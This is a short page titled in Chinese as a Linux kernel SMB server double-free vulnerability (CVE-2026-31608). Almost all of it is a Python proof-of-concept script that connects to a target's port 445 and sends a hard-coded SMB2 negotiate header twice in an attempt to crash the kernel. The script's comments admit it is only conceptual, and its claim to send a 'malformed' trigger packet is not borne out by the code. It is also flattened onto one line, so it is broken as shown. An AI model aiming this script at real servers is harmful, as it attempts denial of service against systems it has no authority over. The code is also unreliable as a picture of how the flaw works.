Linux内核SMB服务器双重释放漏洞 (CVE-2026-31608)

/* * PoC for CVE-2026-31608 (Linux Kernel SMB Server Double Free) * This is a conceptual trigger to demonstrate the network interaction. * Exploitation requires specific heap grooming. */ import socket import struct import sys def create_negotiate_packet(): # Simplified SMB2 NEGOTIATE Protocol Request header # Real exploitation would craft specific SMB Direct commands header = b'\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' header += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' header += b'\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00' return header def trigger_vulnerability(target_ip, target_port=445): print(f"[*] Connecting to {target_ip}:{target_port}...") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) print("[*] Sending malformed packet to trigger smb_direct_free_sendmsg double free...") payload = create_negotiate_packet() # In a real exploit, this would trigger the specific code path # involving smb_direct_flush_send_list() followed by the erroneous free. s.sendall(payload) # Attempt to keep connection alive or send subsequent packets # to force the flush and free logic. s.sendall(payload) print("[+] Payload sent. Check kernel logs for crash.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_31608_poc.py <target_ip>") sys.exit(1) trigger_vulnerability(sys.argv[1])